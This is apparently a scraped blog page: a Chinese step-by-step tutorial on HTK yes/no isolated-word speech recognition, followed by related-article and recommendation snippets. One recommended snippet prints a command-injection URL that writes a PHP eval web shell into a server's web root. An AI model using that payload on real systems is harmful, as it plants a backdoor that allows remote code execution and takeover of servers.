亲自动手用HTK实现YES NO孤立词识别
很久以前的发在研学论坛的帖子了,再重新整理了一下,希望对新手有用。
完整版链接:http://yun.baidu.com/s/1hapcE
第一步 创建语音文件 录音
命令:HSLab any_name.sig
第二步:声学分析
抽取yes和no的mfcc特征参数。保存在data/train/lab与data/train/sig下。
命令:HCopy.exe -A -D -C analysis.conf -S targetlist.txt
第三步:HMM原型定义
建立文件yes.hmm、no.hmm、sil.hmm保存在model/下。
第四步:HMM训练
1.初始化:(建立文件夹yn/train/init)
命令: HInite.exe -A –D –T 1 –H model/yes.hmm –S trainlist.txt –M mode/proto yes
2.训练
命令: HRest.exe -A -D -T 1 -H model/proto/yes.hmm -S trainlist.txt -M model/proto yes
第五步:任务定义
1. 建立语法规则和字典
建立语法规则文件gram.txt(在yn文件夹下),内容为:
/*
* Task grammar
*/
$WORD = YES | NO;
( { SIL } [ $WORD ] { SIL } )
建立字典文件dict.txt(在yn文件夹下),内容为:
YES [yes] yes
NO [no] no
SIL [sil] sil
2. 建立任务网络
命令:HParse gram.txt net.slf
HSGen -s net.slf dict.txt
第六步:识别
1. 建立文件hmmlist.txt(在yn文件夹下)文件,内容为:
yes
no
sil
注意每一列最后留一个空格。
2. 创建待识别信号并抽取mfcc参数(文件为yes01.mfcc)
3. 命令:Hvite.exe -H model/proto/yes.hmm -H model/proto/ no.hmm -H model/proto/sil.hmm -i reco.mlf -w net.slf dict.txt hmmlist.txt yes.mfcc
(是model/proto/no.hmm 中间没有空格)
识别结果自动存放在文件reco.mlf
#!MLF!#
"yes01.rec"
0 34300000 yes -17771.425781
第七步:识别自己写的一个perl脚本,做了一个简单的统计

.
亲自动手用HTK实现YES NO孤立词识别的更多相关文章
- 机器学习&数据挖掘笔记_13(用htk完成简单的孤立词识别)
最近在看图模型中著名的HMM算法,对应的一些理论公式也能看懂个大概,就是不太明白怎样在一个具体的机器学习问题(比如分类,回归)中使用HMM,特别是一些有关状态变量.观察变量和实际问题中变量的对应关系, ...
- 基于HTK语音工具包进行孤立词识别的使用教程
选自:http://my.oschina.net/jamesju/blog/116151 1前言 最近一直在研究HTK语音识别工具包,前几天完成了工具包的安装编译和测试,这几天又按耐不住好奇,决定自己 ...
- 如何用kaldi做孤立词识别-初版
---------------------------------------------------------------------------------------------------- ...
- yesno孤立词识别kaldi脚本
path.sh主要设定路径等 export KALDI_ROOT=`pwd`/../../.. [ -f $KALDI_ROOT/tools/env.sh ] && . $KALDI_ ...
- 如何用kaldi做孤立词识别三
这次wer由15%下降到0%了,后面跑更多的模型 LOG (apply-cmvn[5.2.124~1396-70748]:main():apply-cmvn.cc:162) Applied cepst ...
- 如何用kaldi做孤立词识别二
基本模型没有变化,主要是调参,配置: %WER 65% 下降到了 15% 后面再继续优化... Graph compilation finish!steps/decode.sh -- ...
- Qt5.7 实现Https 认证全过程解析(亲自动手版)
#### NetworkRequestManager.h #include <QSsl>#include <QSslKey>#include <QSslSocket> ...
- 亲自动手实现Python+pygame中国象棋游戏
功能1:实现游戏整体界面显示 一.创建基本的结构 代码如下: import time import pygame def main(): # 初始化pygame pygame.init() # 创建用 ...
- 机器学习&数据挖掘笔记_14(GMM-HMM语音识别简单理解)
为了对GMM-HMM在语音识别上的应用有个宏观认识,花了些时间读了下HTK(用htk完成简单的孤立词识别)的部分源码,对该算法总算有了点大概认识,达到了预期我想要的.不得不说,网络上关于语音识别的通俗 ...
随机推荐
- 后台程序员的HTTP缓存
1.后端程序员只需要关注请求头: if-None-Match //上一次response头中的ETag的值. 响应头: Etag //是URL的Entity Tag,用于标示URL对象是否改变,区分不 ...
- JQuery中serialize()、serializeArray()和param()方法示例介绍
在项目中做form表单提交的时候,如果参数比较少,可以通过jquery一个个取得,但是当 form表参数很多的情况下,还是一一取得的话无疑是加大了工作量,那我们需要咱们获取到表单的所有参数呢,幸好,j ...
- Js获取指定Url参数
在 C#.PHP.JSP 中,都有直接获取 Url 中指定参数的方法,但 Javascript 却没有这样的现在方法,得自己写一个.在 Web 的开发过程中,获取 Url 中的参数是十分常用的操作,所 ...
- 使用EntityFramework6.1的DbCommandInterceptor拦截生成的SQL语句
开始 EF6.1也出来不少日子了,6.1相比6.0有个很大的特点就是新增了System.Data.Entity.Infrastructure.Interception 命名空间,此命名空间下的对象可以 ...
- echo命令写shell
http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php
- Effective Objective-C 2.0 — 第一条:了解Objective-C语言的起源
第一条: 了解Objective-C语言的起源 由Smalltalk演化而来,消息型语言的鼻祖(messaging structure)而非 (function calling)函数调用 //Mess ...
- Python操作 RabbitMQ、Redis、Memcache、SQLAlchemy
Memcached Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载.它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态.数据库驱动网站的速度 ...
- Thinkphp 模板中直接对数据处理 模板中使用函数 中文字符串截取
1.Thinkphp 模板中直接对数据处理:{$data.name|substr=0,3} 2.中文字符串截取函数:mb_substr=0,14,'utf-8' 3.中文字符串统计:iconv_str ...
- Spring之FactoryBean
首先要分辨BeanFactory 与 FactoryBean的区别, 两个名字很像,所以容易搞混 BeanFactory: 以Factory结尾,表示它是一个工厂类,是用于管理Bean的一个工厂 Fa ...
- unity资源管理
Resources.Load(path); 每次执行都会真的去从硬盘加载资源,如果不希望这样做,那就保存第一次返回的引用,下次直接使用即可. Resources.UnloadAsset(obj); 该 ...